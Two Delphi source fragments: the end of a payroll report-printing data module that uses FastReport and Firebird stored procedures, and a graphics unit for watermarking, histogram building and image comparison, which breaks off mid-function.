frxReport.Variables['RDateEnd'] := ''' ''';
end
else
begin
frxReport.Variables['RDateBeg'] := ''''+FormTerms.DateFrom.Text+'''';
frxReport.Variables['RDateEnd'] := ''''+FormTerms.DateTo.Text+'''';
end;
if FormTerms.CheckBoxPrintDate.Checked then frxReport.Variables['RDate'] := ''' '''
else frxReport.Variables['RDate'] := ''''+DateToStr(date)+'''';
if(FormTerms.cxCheckBox2.EditValue)then
frxReport.Variables['TypeGroup']:=2
else
frxReport.Variables['TypeGroup']:=1;
end;
FormTerms.Free;
end;
5:
begin
FormTerms:=TFTermsSheetPrint.Create(self.Owner);
FormTerms.cxCheckBox1.Visible:=false;
FormTerms.CheckBoxNonTerm.Visible:=false;
FormTerms.CheckBoxPrintDate.Visible:=false;
FormTerms.cxLabelTo.Visible:=false;
FormTerms.DateTo.Visible:=false;
if FormTerms.ShowModal=mrYes then
begin
PathReport:=IniFile.ReadString(SectionSheetReeOfIniFile,'NameReport','Reports\Zarplata\DeponentForReestr.fr3');
frxReport.Clear;
frxReport.LoadFromFile(ExtractFilePath(Application.ExeName)+PathReport,True);
frxReport.Variables.Clear;
DSetSetup.SQLs.SelectSQL.Text:='SELECT SHORT_NAME,DIRECTOR,GLAV_BUHG,OKPO,NAME_MANEG,GLBUHG_POST,POST_NAME_ZAM, FIRM_NAME_FULL FROM Z_SETUP';
DSetGrSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE('+IntToStr(PId)+', 6)';
DSetSheet.SQLs.SelectSQL.Text := 'SELECT * FROM UV_PRINT_SHEETONE_DATA'+'('+IntToStr(PId)+',3) ';
if FormTerms.RadioGroupOrder.ItemIndex=0 then
begin
DSetSheet.SQLs.SelectSQL.Text := DSetSheet.SQLs.SelectSQL.Text+'ORDER BY TN'
end
else DSetSheet.SQLs.SelectSQL.Text := DSetSheet.SQLs.SelectSQL.Text+'ORDER BY FIO';
DSetSetup.Open;
DSetGrSheet.Open;
DSetSheet.Open;
if DSetGrSheet.IsEmpty then Exit;
frxReport.Variables['RFromMonth'] := ''''+AnsiLowerCase(KodSetupToPeriod(DSetGrSheet['KOD_SETUP'],4))+'''';
frxReport.Variables['NumPredpr']:=ValueFieldZSetup(DataBase.Handle,'NUM_PREDPR');
frxReport.Variables['RDateBeg'] := ''''+FormTerms.DateFrom.Text+'''';
frxReport.Variables['NumReestr'] := IntToStr(PId);
end;
FormTerms.Free;
end;
end;
IniFile.Destroy;
if(frxReport.FileName<>'')then
begin
if zDesignReport then frxReport.DesignReport
else frxReport.ShowReport;
end;
end;
procedure TPrint_DM.frxReportGetValue(const VarName: String;
var Value: Variant);
begin
if UpperCase(VarName)='RSUMLETTERS' then
Value:=SumToString(DSetGrSheet['GRSUMMA']);
if UpperCase(VarName)='RKASSASUMMA' then
Value:= DSetGrSheet['GRSUMMA'];
end;
procedure TPrint_DM.DataModuleDestroy(Sender: TObject);
begin
if ReadTransaction.InTransaction then ReadTransaction.Commit;
end;
procedure TPrint_DM.frxReportAfterPrintReport(Sender: TObject);
var pStProc:TpFIBStoredProc;
pTransaction:TpFIBTransaction;
pDataBase:TpFIBDatabase;
wf:TForm;
begin
if PTypePrint=3 then exit;
pDataBase := TpFIBDatabase.Create(Application.MainForm);
pTransaction := TpFIBTransaction.Create(Application.MainForm);
pStProc := TpFIBStoredProc.Create(Application.MainForm);
try
try
pDataBase.SQLDialect := 3;
pDataBase.DefaultTransaction := pTransaction;
pTransaction.DefaultDatabase := pDataBase;
pStProc.Database := pDataBase;
pStProc.Transaction := pTransaction;
pDataBase.Handle := DataBase.Handle;
pStProc.Transaction.StartTransaction;
pStProc.StoredProcName := 'UV_GRSHEET_SET_FPRINT';
pStProc.Prepare;
DSetGrSheet.First;
while not DSetGrSheet.Eof do
begin
pStProc.ParamByName('ID_GRSHEET').AsVariant := DSetGrSheet['ID_GRSHEET'];
pStProc.ParamByName('FPRINT').AsString := 'T';
pStProc.ExecProc;
DSetGrSheet.Next;
end;
pStProc.Transaction.Commit;
except
on e:exception do
begin
pStProc.Transaction.Rollback;
zShowMessage('Помилка',e.Message,mtError,[mbOK]);
end;
end;
finally
pStProc.Destroy;
pTransaction.Destroy;
pDataBase.Destroy;
end;
end;
end.
|
unit UnitDBCommonGraphics;
interface
uses
System.Types,
System.UITypes,
System.Classes,
System.SysUtils,
System.Math,
Winapi.Windows,
Vcl.Controls,
Vcl.StdCtrls,
Vcl.Graphics,
Dmitry.Controls.DmProgress,
Dmitry.Graphics.Types,
uBitmapUtils,
UnitDBDeclare,
uMemory,
uDBGraphicTypes,
uGraphicUtils,
uTranslate,
uIconUtils,
uThemesUtils;
type
TTextPrepareAsyncProcedure = function(Bitmap: TBitmap; Font: HFont; Text: string): Integer of object;
TDrawTextAsyncProcedure = procedure(Bitmap: TBitmap; Rct: TRect; Text: string) of object;
TGetAsyncCanvasFontProcedure = function(Bitmap: TBitmap): TLogFont of object;
type
TCompareArray = array [0 .. 99, 0 .. 99, 0 .. 2] of Integer;
TCompareImageInfo = class
public
X2_0, X2_90, X2_180, X2_270: TCompareArray;
B2_0: TBitmap;
constructor Create(Image: TGraphic; Quick, FSpsearch_ScanFileRotate: Boolean);
destructor Destroy; override;
end;
procedure DoInfoListBoxDrawItem(ListBox: TListBox; index: Integer; ARect: TRect; State: TOwnerDrawState;
ItemsData: TList; Icons: array of TIcon; FProgressEnabled: Boolean; TempProgress: TDmProgress; Infos: TStrings);
procedure AddIconToListFromPath(ImageList: TImageList; IconPath: string);
procedure DrawWatermarkText(Bitmap: TBitmap; XBlocks, YBlocks: Integer; Text: string; AAngle: Integer; Color: TColor;
Transparent: Byte; FontName: string; SyncCallBack: TDrawTextAsyncProcedure;
SyncTextPrepare: TTextPrepareAsyncProcedure;
GetFontHandle: TGetAsyncCanvasFontProcedure);
procedure DrawWatermarkedImage(Image, WatermarkedImage: TBitmap; StartPoint, EndPoint: TPoint; KeepProportions: Boolean; Transparency: Byte);
function CompareImages(Image1, Image2: TGraphic; var Rotate: Integer; FSpsearch_ScanFileRotate: Boolean = True;
Quick: Boolean = False; Raz: Integer = 60): TImageCompareResult;
function CompareImagesEx(Image1: TGraphic; Image2Info: TCompareImageInfo; var Rotate: Integer; FSpsearch_ScanFileRotate: Boolean = True;
Quick: Boolean = False; Raz: Integer = 60): TImageCompareResult;
implementation
procedure DrawWatermarkedImage(Image, WatermarkedImage: TBitmap; StartPoint, EndPoint: TPoint; KeepProportions: Boolean; Transparency: Byte);
var
P1, P2: TPoint;
WI: TBitmap;
W, H: Integer;
DeltaX, DeltaY, StartX, StartY: Integer;
RightWidth, BottomHeight: Integer;
begin
P1 := Point(Min(StartPoint.X, EndPoint.X), Min(StartPoint.Y, EndPoint.Y));
P2 := Point(Max(StartPoint.X, EndPoint.X), Max(StartPoint.Y, EndPoint.Y));
if not KeepProportions then
begin
P1.X := Round(Image.Width * P1.X / 100);
P1.Y := Round(Image.Height * P1.Y / 100);
P2.X := Round(Image.Width * P2.X / 100);
P2.Y := Round(Image.Height * P2.Y / 100);
end else
begin
RightWidth := 100 - P2.X;
BottomHeight := 100 - P2.Y;
StartX := 0;
if P1.X > 0 then
StartX := Round(100 * P1.X / (RightWidth + P1.X));
StartY := 0;
if P1.Y > 0 then
StartY := Round(100 * P1.Y / (BottomHeight + P1.Y));
P1.X := Round(Image.Width * P1.X / 100);
P1.Y := Round(Image.Height * P1.Y / 100);
P2.X := Round(Image.Width * P2.X / 100);
P2.Y := Round(Image.Height * P2.Y / 100);
W := WatermarkedImage.Width;
H := WatermarkedImage.Height;
ProportionalSizeA(P2.X - P1.X, P2.Y - P1.Y, W, H);
DeltaX := (P2.X - P1.X) - W;
DeltaY := (P2.Y - P1.Y) - H;
StartX := Round(StartX * DeltaX / 100);
StartY := Round(StartY * DeltaY / 100);
P1.X := P1.X + StartX;
P1.Y := P1.Y + StartY;
P2.X := P1.X + W;
P2.Y := P1.Y + H;
end;
WI := TBitmap.Create;
try
WI.PixelFormat := WatermarkedImage.PixelFormat;
DoResize(P2.X - P1.X, P2.Y - P1.Y, WatermarkedImage, WI);
if WI.PixelFormat = pf32bit then
DrawImageEx32To24Transparency(Image, WI, P1.X, P1.Y, Transparency);
if WI.PixelFormat = pf24bit then
DrawImageExTransparency(Image, WI, P1.X, P1.Y, Transparency);
finally
F(WI);
end;
end;
procedure DrawWatermarkText(Bitmap: TBitmap; XBlocks, YBlocks: Integer;
Text: string; AAngle : Integer; Color: TColor; Transparent : Byte; FontName: string;
SyncCallBack: TDrawTextAsyncProcedure;
SyncTextPrepare: TTextPrepareAsyncProcedure;
GetFontHandle: TGetAsyncCanvasFontProcedure);
var
Lf: TLogFont;
I, J: Integer;
X, Y, Width, Height, H, TextLength: Integer;
Angle: Integer;
Mask: TBitmap;
PS, PD: PARGB;
PD32: PARGB32;
R, G, B: Byte;
L, L1: Byte;
RealAngle: Double;
TextHeight, TextWidth: Integer;
Dioganal: Integer;
Rct: TRect;
DX, DY: Integer;
FontHandle: Cardinal;
begin
if Text = '' then
Exit;
if Bitmap.PixelFormat <> pf32Bit then
Bitmap.PixelFormat := pf24bit;
Width := Round(Bitmap.Width / XBlocks);
Height := Round(Bitmap.Height / YBlocks);
TextHeight := 0;
RealAngle := 0;
for I := 1 to 10 do
begin
Dioganal := Round(Sqrt(Width * Width + Height * Height));
TextLength := Round(Dioganal * 0.82) - Round(TextHeight * Cos(RealAngle) * Cos(PI / 2 - RealAngle));
TextWidth := Round(TextLength / (Length(Text) + 1));
TextHeight := Round(TextWidth * 1.5);
end;
RealAngle := PI / 2;
if (Width - TextHeight) <> 0 then
RealAngle := ArcTan((Height - TextHeight) / (Width - TextHeight));
Angle := Round(10 * 180 * RealAngle / PI);
FillChar(lf, SizeOf(lf), 0);
Color := ColorToRGB(Color);
R := GetRValue(Color);
G := GetGValue(Color);
B := GetBValue(Color);
Mask := TBitmap.Create;
try
Mask.PixelFormat := pf24bit;
Mask.SetSize(Bitmap.Width, Bitmap.Height);
if not Assigned(GetFontHandle) then
GetObject(Mask.Canvas.Font.Handle, SizeOf(TLogFont), @lf)
else
lf := GetFontHandle(Mask);
with lf do begin
// Ширина буквы
lfWidth := TextWidth;
// Высота буквы
lfHeight := TextHeight;
// Угол наклона в десятых градуса
if AAngle < 0 then
lfEscapement := Angle
else
lfEscapement := AAngle;
// Жирность 0..1000, 0 - по умолчанию
lfWeight := 1000;
// Курсив
lfItalic := 0;
// Подчеркнут
lfUnderline := 0;
// Зачеркнут
lfStrikeOut := 0;
// CharSet
lfCharSet := DEFAULT_CHARSET;
lfQuality := ANTIALIASED_QUALITY;
// Название шрифта
StrCopy(lfFaceName, PChar(FontName));
end;
//white mask
for I := 0 to Mask.Height - 1 do
begin
PS := Mask.ScanLine[I];
FillChar(PS[0], Mask.Width * 3, $FF);
end;
DX := Round(Sin(RealAngle) * TextWidth);
DY := Round(Sin(RealAngle) * Sin(RealAngle) * (TextWidth));
DX := Round(DX - (TextWidth / 1.7) * Sin((RealAngle)));
DY := Round(DY + (TextWidth / 1.7) * Sin((RealAngle)));
if not Assigned(SyncTextPrepare) then
begin
Mask.Canvas.Font.Handle := CreateFontIndirect(lf);
Mask.Canvas.Font.Color := clBlack;
H := Mask.Canvas.TextHeight(Text);
end else
begin
SyncTextPrepare(Mask, CreateFontIndirect(lf), Text);
end;
for I := 1 to XBlocks do
for J := 1 to YBlocks do
begin
X := (I - 1) * Width;
Y := (J - 1) * Height;
Rct := Rect(X - DX, Y, X + Width , Y + Height + DY);
if Assigned(SyncCallBack) then
SyncCallBack(Mask, Rct, Text)
else
Mask.Canvas.TextRect(Rct, Text, [tfBottom, tfSingleLine]);
end;
if Bitmap.PixelFormat = pf32bit then
begin
for I := 0 to Bitmap.Height - 1 do
begin
PS := Mask.ScanLine[I];
PD32 := Bitmap.ScanLine[I];
for J := 0 to Bitmap.Width - 1 do
begin
L := 255 - PS[J].R;
L := L * Transparent div 255;
L1 := 255 - L;
PD32[J].R := (PD32[J].R * L1 + R * L + $7F) div 255;
PD32[J].G := (PD32[J].G * L1 + G * L + $7F) div 255;
PD32[J].B := (PD32[J].B * L1 + B * L + $7F) div 255;
PD32[J].L := SumLMatrix[PD32[J].L, L];
end;
end;
end else
begin
for I := 0 to Bitmap.Height - 1 do
begin
PS := Mask.ScanLine[I];
PD := Bitmap.ScanLine[I];
for J := 0 to Bitmap.Width - 1 do
begin
L := 255 - PS[J].R;
L := L * Transparent div 255;
L1 := 255 - L;
PD[J].R := (PD[J].R * L1 + R * L + $7F) div 255;
PD[J].G := (PD[J].G * L1 + G * L + $7F) div 255;
PD[J].B := (PD[J].B * L1 + B * L + $7F) div 255;
end;
end;
end;
finally
F(Mask);
end;
end;
procedure DoInfoListBoxDrawItem(ListBox: TListBox; Index: Integer; aRect: TRect; State: TOwnerDrawState;
ItemsData: TList; Icons: array of TIcon; FProgressEnabled: Boolean;
TempProgress: TDmProgress; Infos: TStrings);
var
InfoText, Text: string;
R: TRect;
ItemData: Integer;
const
IndexAdminToolsRecord = 6;
IndexProgressRecord = 4;
IndexProcessedRecord = 0;
IndexPlusRecord = 3;
IndexWarningRecord = 2;
IndexErrorRecord = 1;
IndexDBRecord = 5;
begin
ItemData := Integer(ItemsData[index]);
if OdSelected in State then
begin
ListBox.Canvas.Brush.Color := Theme.ListSelectedColor;
ListBox.Canvas.Font.Color := Theme.ListFontSelectedColor;
end else
begin
ListBox.Canvas.Brush.Color := Theme.ListColor;
ListBox.Canvas.Font.Color := Theme.ListFontColor;
end;
// clearing rect
ListBox.Canvas.Pen.Color := ListBox.Canvas.Brush.Color;
ListBox.Canvas.Rectangle(ARect);
Text := ListBox.Items[index];
// first Record
if Index = 0 then
begin
if TempProgress <> nil then
begin
DrawIconEx(ListBox.Canvas.Handle, ARect.Left, ARect.Top, Icons[IndexProgressRecord].Handle, 16, 16, 0, 0, DI_NORMAL);
ARect.Left := ARect.Left + 20;
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := TA('Executing') + ':';
ListBox.Canvas.Font.Style := [fsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
if FProgressEnabled then
begin
TempProgress.Text := '';
TempProgress.Width := ARect.Right - ARect.Left - ListBox.Canvas.TextWidth(InfoText) - 10 - ListBox.ScrollWidth;
TempProgress.Height := ListBox.Canvas.TextHeight('Iy');
TempProgress.DoPaintOnXY(ListBox.Canvas, R.Left + ListBox.Canvas.TextWidth(InfoText) + 10, R.Top);
end;
end;
ListBox.Canvas.Font.Style := [];
end;
if ItemData = LINE_INFO_OK then
begin
if Infos[index] <> '' then
begin
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := Infos[index];
ListBox.Canvas.Font.Style := [fsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
ListBox.Canvas.Font.Style := [];
end;
DrawIconEx(ListBox.Canvas.Handle, ARect.Left, ARect.Top, Icons[IndexProcessedRecord].Handle, 16, 16, 0, 0,
DI_NORMAL);
ARect.Left := ARect.Left + 20;
end;
if ItemData = LINE_INFO_DB then
begin
if Infos[index] <> '' then
begin
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := Infos[index];
ListBox.Canvas.Font.Style := [fsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
ListBox.Canvas.Font.Style := [];
end;
DrawIconEx(ListBox.Canvas.Handle, ARect.Left, ARect.Top, Icons[IndexDBRecord].Handle, 16, 16, 0, 0, DI_NORMAL);
ARect.Left := ARect.Left + 20;
end;
if ItemData = LINE_INFO_GREETING then
begin
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := Infos[index];
ListBox.Canvas.Font.Style := [fsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
ListBox.Canvas.Font.Style := [];
DrawIconEx(ListBox.Canvas.Handle, ARect.Left, ARect.Top, Icons[IndexAdminToolsRecord].Handle, 16, 16, 0, 0, DI_NORMAL);
ARect.Left := ARect.Left + 20;
Text := '';
end;
if ItemData = LINE_INFO_PLUS then
begin
if Infos[index] <> '' then
begin
ARect.Left := ARect.Left + 10;
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := Infos[index];
ListBox.Canvas.Font.Style := [fsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
ListBox.Canvas.Font.Style := [];
end;
DrawIconEx(ListBox.Canvas.Handle, ARect.Left + 10, ARect.Top, Icons[IndexPlusRecord].Handle, 16, 16, 0, 0, DI_NORMAL);
ARect.Left := ARect.Left + 30;
end;
if ItemData = LINE_INFO_WARNING then
begin
DrawIconEx(ListBox.Canvas.Handle, ARect.Left, ARect.Top, Icons[IndexWarningRecord].Handle, 16, 16, 0, 0, DI_NORMAL);
ARect.Left := ARect.Left + 20;
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := TA('Warning') + ':';
ListBox.Canvas.Font.Style := [fsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
ListBox.Canvas.Font.Style := [];
end;
if ItemData = LINE_INFO_ERROR then
begin
DrawIconEx(ListBox.Canvas.Handle, ARect.Left, ARect.Top, Icons[IndexErrorRecord].Handle, 16, 16, 0, 0, DI_NORMAL);
ARect.Left := ARect.Left + 20;
R := Rect(ARect.Left, ARect.Top, ARect.Right, ARect.Top + ListBox.Canvas.TextHeight('Iy'));
ARect.Top := ARect.Top + ListBox.Canvas.TextHeight('Iy');
InfoText := TA('Error') + ':';
ListBox.Canvas.Font.Style := [FsBold];
DrawText(ListBox.Canvas.Handle, PWideChar(InfoText), Length(InfoText), R, 0);
ListBox.Canvas.Font.Style := [];
end;
DrawText(ListBox.Canvas.Handle, PWideChar(Text), Length(Text), ARect, DT_NOPREFIX + DT_LEFT + DT_WORDBREAK);
end;
procedure AddIconToListFromPath(ImageList: TImageList; IconPath: string);
var
Icon : TIcon;
begin
Icon := TIcon.Create;
try
Icon.Handle := ExtractSmallIconByPath(IconPath);
ImageList.AddIcon(Icon);
finally
F(Icon);
end;
end;
function Gistogramma(W, H: Integer; S: PARGBArray): THistogrammData;
var
I, J, Max: Integer;
Ps: PARGB;
LGray, LR, LG, LB: Byte;
begin
/// сканирование изображение и подведение статистики
for I := 0 to 255 do
begin
Result.Red[I] := 0;
Result.Green[I] := 0;
Result.Blue[I] := 0;
Result.Gray[I] := 0;
end;
for I := 0 to H - 1 do
begin
Ps := S[I];
for J := 0 to W - 1 do
begin
LR := Ps[J].R;
LG := Ps[J].G;
LB := Ps[J].B;
LGray := (LR * 77 + LG * 151 + LB * 28) shr 8;
Inc(Result.Gray[LGray]);
Inc(Result.Red[LR]);
Inc(Result.Green[LG]);
Inc(Result.Blue[LB]);
end;
end;
/// поиск максимума
Max := 1;
Result.Max := 0;
for I := 5 to 250 do
begin
if Max < Result.Red[I] then
begin
Max := Result.Red[I];
Result.Max := I;
end;
end;
for I := 5 to 250 do
begin
if Max < Result.Green[I] then
begin
Max := Result.Green[I];
Result.Max := I;
end;
end;
for I := 5 to 250 do
begin
if Max < Result.Blue[I] then
begin
Max := Result.Blue[I];
Result.Max := I;
end;
end;
/// в основном диапозоне 0..100
for I := 0 to 255 do
Result.Red[I] := Round(100 * Result.Red[I] / Max);
// max:=1;
for I := 0 to 255 do
Result.Green[I] := Round(100 * Result.Green[I] / Max);
// max:=1;
for I := 0 to 255 do
Result.Blue[I] := Round(100 * Result.Blue[I] / Max);
// max:=1;
for I := 0 to 255 do
Result.Gray[I] := Round(100 * Result.Gray[I] / Max);
/// ограничение на значение - изза нахождения максимума не во всём диапозоне
for I := 0 to 255 do
if Result.Red[I] > 255 then
Result.Red[I] := 255;
for I := 0 to 255 do
if Result.Green[I] > 255 then
Result.Green[I] := 255;
for I := 0 to 255 do
if Result.Blue[I] > 255 then
Result.Blue[I] := 255;
for I := 0 to 255 do
if Result.Gray[I] > 255 then
Result.Gray[I] := 255;
// получаем границы диапозона
Result.LeftEffective := 0;
Result.RightEffective := 255;
for I := 0 to 254 do
begin
if (Result.Gray[I] > 10) and (Result.Gray[I + 1] > 10) then
begin
Result.LeftEffective := I;
Break;
end;
end;
for I := 255 downto 1 do
begin
if (Result.Gray[I] > 10) and (Result.Gray[I - 1] > 10) then
begin
Result.RightEffective := I;
Break;
end;
end;
end;
function CompareImagesByGistogramm(Image1, Image2: TBitmap): Byte;
var
PRGBArr: PARGBArray;
I: Integer;
Diff: Byte;
Data1, Data2, Data: THistogrammData;
Mx_r, Mx_b, Mx_g: Integer;
ResultExt: Extended;
function AbsByte(B1, B2: Integer): Integer; inline;
begin
// if b1<b2 then Result:=b2-b1 else Result:=b1-b2;
Result := B2 - B1;
end;
procedure RemovePicks;
const
InterpolateWidth = 10;
var
I, J, R, G, B: Integer;
Ar, Ag, Ab: array [0 .. InterpolateWidth - 1] of Integer;
begin
Mx_r := 0;
Mx_g := 0;
Mx_b := 0;
/// выкидываем пики резкие и сглаживаем гистограмму
for J := 0 to InterpolateWidth - 1 do
begin
Ar[J] := 0;
Ag[J] := 0;
Ab[J] := 0;
end;
for I := 1 to 254 do
begin
Ar[I mod InterpolateWidth] := Data.Red[I];
Ag[I mod InterpolateWidth] := Data.Green[I];
Ab[I mod InterpolateWidth] := Data.Blue[I];
R := 0;
G := 0;
B := 0;
for J := 0 to InterpolateWidth - 1 do
begin
R := Ar[J] + R;
G := Ag[J] + G;
B := Ab[J] + B;
end;
Data.Red[I] := R div InterpolateWidth;
Data.Green[I] := G div InterpolateWidth;
Data.Blue[I] := B div InterpolateWidth;
Mx_r := Mx_r + Data.Red[I];
Mx_g := Mx_g + Data.Green[I];
Mx_b := Mx_b + Data.Blue[I];
end;
Mx_r := Mx_r div 254;
Mx_g := Mx_g div 254;
Mx_b := Mx_b div 254;
end;
begin
Mx_r := 0;
Mx_g := 0;
Mx_b := 0;
SetLength(PRGBArr, Image1.Height);
for I := 0 to Image1.Height - 1 do
PRGBArr[I] := Image1.ScanLine[I];
Data1 := Gistogramma(Image1.Width, Image1.Height, PRGBArr);
// ???GetGistogrammBitmapX(150,0,Data1.Red,a,a).SaveToFile('c:\w1.bmp');
SetLength(PRGBArr, Image2.Height);
for I := 0 to Image2.Height - 1 do
PRGBArr[I] := Image2.ScanLine[I];
Data2 := Gistogramma(Image2.Width, Image2.Height, PRGBArr);
// ???GetGistogrammBitmapX(150,0,Data2.Red,a,a).SaveToFile('c:\w2.bmp');
for I := 0 to 255 do
begin
Data.Green[I] := AbsByte(Data1.Green[I], Data2.Green[I]);
Data.Blue[I] := AbsByte(Data1.Blue[I], Data2.Blue[I]);
Data.Red[I] := AbsByte(Data1.Red[I], Data2.Red[I]);
end;
// ???GetGistogrammBitmapX(50,25,Data.Red,a,a).SaveToFile('c:\w.bmp');
RemovePicks;
// ???GetGistogrammBitmapX(50,25,Data.Red,a,a).SaveToFile('c:\w_pick.bmp');
for I := 0 to 255 do
begin
Data.Green[I] := Abs(Data.Green[I] - Mx_g);
Data.Blue[I] := Abs(Data.Blue[I] - Mx_b);
Data.Red[I] := Abs(Data.Red[I] - Mx_r);
end;
// ?GetGistogrammBitmapX(50,25,Data.Red,a,a).SaveToFile('c:\w_mx.bmp');
ResultExt := 10000;
if Abs(Data2.Max - Data2.Max) > 20 then
ResultExt := ResultExt / (Abs(Data2.Max - Data1.Max) / 20);
if (Data2.LeftEffective > Data1.RightEffective) or (Data1.LeftEffective > Data2.RightEffective) then
begin
ResultExt := ResultExt / 10;
end;
if Abs(Data2.LeftEffective - Data1.LeftEffective) > 5 then
ResultExt := ResultExt / (Abs(Data2.LeftEffective - Data1.LeftEffective) / 20);
if Abs(Data2.RightEffective - Data1.RightEffective) > 5 then
ResultExt := ResultExt / (Abs(Data2.RightEffective - Data1.RightEffective) / 20);
for I := 0 to 255 do
begin
Diff := Round(Sqrt(Sqr(0.3 * Data.Red[I]) + Sqr(0.58 * Data.Green[I]) + Sqr(0.11 * Data.Blue[I])));
if (Diff > 5) and (Diff < 10) then
ResultExt := ResultExt * (1 - Diff / 1024);
if (Diff >= 10) and (Diff < 20) then
ResultExt := ResultExt * (1 - Diff / 512);
if (Diff >= 20) and (Diff < 100) then
ResultExt := ResultExt * (1 - Diff / 255);
if Diff >= 100 then
ResultExt := ResultExt * Sqr(1 - Diff / 255);
if Diff = 0 then
ResultExt := ResultExt * 1.02;
if Diff = 1 then
ResultExt := ResultExt * 1.01;
if Diff = 2 then
ResultExt := ResultExt * 1.001;
end;
// Result in 0..10000
if ResultExt > 10000 then
ResultExt := 10000;
Result := Round(Power(101, ResultExt / 10000) - 1); // Result in 0..100
end;
procedure FillArray(Image: TBitmap; var AArray: TCompareArray);
var
I, J: Integer;
PC, P1, D: Integer;
begin
P1 := Integer(Image.ScanLine[0]);
D := 0;
if Image.Height > 1 then
D := Integer(Image.ScanLine[1]) - P1;
for I := 0 to 99 do
begin
PC := P1;
for J := 0 to 99 do
begin
AArray[I, J, 0] := PRGB(PC)^.R;
AArray[I, J, 1] := PRGB(PC)^.G;
AArray[I, J, 2] := PRGB(PC)^.B;
Inc(PC, 3);
end;
Inc(P1, D);
end;
end;
function CompareImages(Image1, Image2: TGraphic; var Rotate: Integer; FSpsearch_ScanFileRotate: Boolean = True;
Quick: Boolean = False; Raz: Integer = 60): TImageCompareResult;
var
CI: TCompareImageInfo;
begin
if Image2.Empty then
begin
Result.ByGistogramm := 0;
Result.ByPixels := 0;
Exit;
end;
CI := TCompareImageInfo.Create(Image2, Quick, FSpsearch_ScanFileRotate);
try
Result := CompareImagesEx(Image1, CI, Rotate, FSpsearch_ScanFileRotate, Quick, Raz);
finally
F(CI);
end;
end;
{ TCompareImageInfo }
constructor TCompareImageInfo.Create(Image: TGraphic; Quick, FSpsearch_ScanFileRotate: Boolean);
var
B2: TBitmap;
begin
B2_0 := TBitmap.Create;
B2_0.PixelFormat := pf24bit;
B2 := TBitmap.Create;
try
B2.PixelFormat := pf24bit;
AssignGraphic(B2, Image);
if Quick then
begin
if (B2.Width = 100) and (B2.Height = 100) then
begin
AssignBitmap(B2_0, B2);
end else
StretchA(100, 100, B2, B2_0);
FillArray(B2_0, X2_0);
end else
begin
if (B2.Width >= 100) and (B2.Height >= 100) then
StretchCool(100, 100, B2, B2_0)
else
Interpolate(0, 0, 100, 100, Rect(0, 0, B2.Width, B2.Height), B2, B2_0);
FillArray(B2_0, X2_0);
end;
finally
B2.Free;
end;
if FSpsearch_ScanFileRotate then
begin
Rotate90A(B2_0);
FillArray(B2_0, X2_90);
Rotate90A(B2_0);
FillArray(B2_0, X2_180);
Rotate90A(B2_0);
FillArray(B2_0, X2_270);
end;
end;
destructor TCompareImageInfo.Destroy;
begin
F(B2_0);
inherited;
end;
function CompareImagesEx(Image1: TGraphic; Image2Info: TCompareImageInfo; var Rotate: Integer; FSpsearch_ScanFileRotate: Boolean = True;
Quick: Boolean = False; Raz: Integer = 60): TImageCompareResult;
var
B1, B1_: TBitmap;
X1: TCompareArray;
I: Integer;
Res: array [0 .. 3] of TImageCompareResult;
function CmpImages(Image1, Image2: TCompareArray): Byte;
var
X: TCompareArray;
I, J, K: Integer;
ResultExt: Extended;
Diff: Integer;
begin
ResultExt := 10000;
for I := 0 to 99 do
for J := 0 to 99 do
for K := 0 to 2 do
begin
X[I, J, K] := Abs(Image1[I, J, K] - Image2[I, J, K]);
end;
for I := 0 to 99 do
for J := 0 to 99 do
begin
Diff := (X[I, J, 0] * 77 + X[I, J, 1] * 151 + X[I, J, 2] * 28) shr 8;
if Diff > Raz then
ResultExt := ResultExt * (1 - Diff / 1024)
else if Diff = 0 then
ResultExt := ResultExt * 1.05
else if Diff = 1 then
ResultExt := ResultExt * 1.01
else if Diff < 10 then
ResultExt := ResultExt * 1.001;
end;
if ResultExt > 10000 then
ResultExt := 10000;
Result := Round(Power(101, ResultExt / 10000) - 1); // Result in 0..100
end;
begin
Result.ByGistogramm := 0;
Result.ByPixels := 0;
if Image1.Empty then
Exit;
B1_ := TBitmap.Create;
try
B1_.PixelFormat := pf24bit;
B1 := TBitmap.Create;
try
B1.PixelFormat := pf24bit;
AssignGraphic(B1, Image1);
if Quick then
begin
if (B1.Width = 100) and (B1.Height = 100) then
begin
AssignBitmap(B1_, B1);
end else
StretchA(100, 100, B1, B1_);
FillArray(B1_, X1);
end else
begin
if (B1.Width >= 100) and (B1.Height >= 100) then
StretchA(100, 100, B1, B1_)
else
Interpolate(0, 0, 100, 100, Rect(0, 0, B1.Width, B1.Height), B1, B1_);
FillArray(B1_, X1);
end;
finally
F(B1);
end;
if not Quick then
Result.ByGistogramm := CompareImagesByGistogramm(B1_, Image2Info.B2_0);
finally
F(B1_);
end;
Res[0].ByPixels := CmpImages(X1, Image2Info.X2_0);
if FSpsearch_ScanFileRotate then
begin
Res[3].ByPixels := CmpImages(X1, Image2Info.X2_90);
